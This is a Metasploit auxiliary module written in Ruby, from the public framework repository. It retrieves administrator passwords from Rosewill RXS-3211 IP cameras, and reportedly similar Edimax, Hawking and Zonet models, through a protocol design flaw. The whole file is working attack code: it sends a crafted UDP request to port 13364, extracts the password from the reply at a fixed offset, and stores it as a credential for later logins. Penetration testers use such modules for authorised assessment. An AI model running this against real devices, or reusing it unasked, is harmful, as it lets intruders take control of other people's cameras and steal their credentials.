metasploit-framework/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb

134 lines
3.4 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Rosewill RXS-3211 IP Camera Password Retriever',
'Description' => %q{
This module takes advantage of a protocol design issue with the Rosewill admin
executable in order to retrieve passwords, allowing remote attackers to take
administrative control over the device. Other similar IP Cameras such as Edimax,
Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.
The protocol deisgn issue also allows attackers to reset passwords on the device.
},
'Author' => 'Ben Schmidt',
'References' =>
[
[ 'URL', 'http://spareclockcycles.org/exploiting-an-ip-camera-control-protocol/' ],
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
Opt::RPORT(13364),
], self.class)
end
def run_host(ip)
#Protocol
target_mac = "\xff\xff\xff\xff\xff\xff"
cmd = "\x00" #Request
cmd << "\x06\xff\xf9" #Type
password = nil
begin
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( {
'LocalHost' => datastore['CHOST'] || nil,
'PeerHost' => ip,
'PeerPort' => datastore['RPORT'],
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
})
udp_sock.put(target_mac+cmd)
res = udp_sock.recvfrom(65535, 0.5) and res[1]
#Parse the reply if we get a response
if res
password = parse_reply(res)
end
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
print_error("Connection error")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
end
#Store the password if the parser returns something
if password
print_status("Password retrieved: #{password.to_s}")
report_cred(
ip: rhost,
port: rport,
service_name: 'ipcam',
user: '',
password: password,
proof: password
)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_reply(pkt)
@results ||= {}
# Ignore "empty" packets
return nil if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
return pkt[0][333,12] if pkt[0][6,4] == "\x01\x06\xff\xf9"
end
end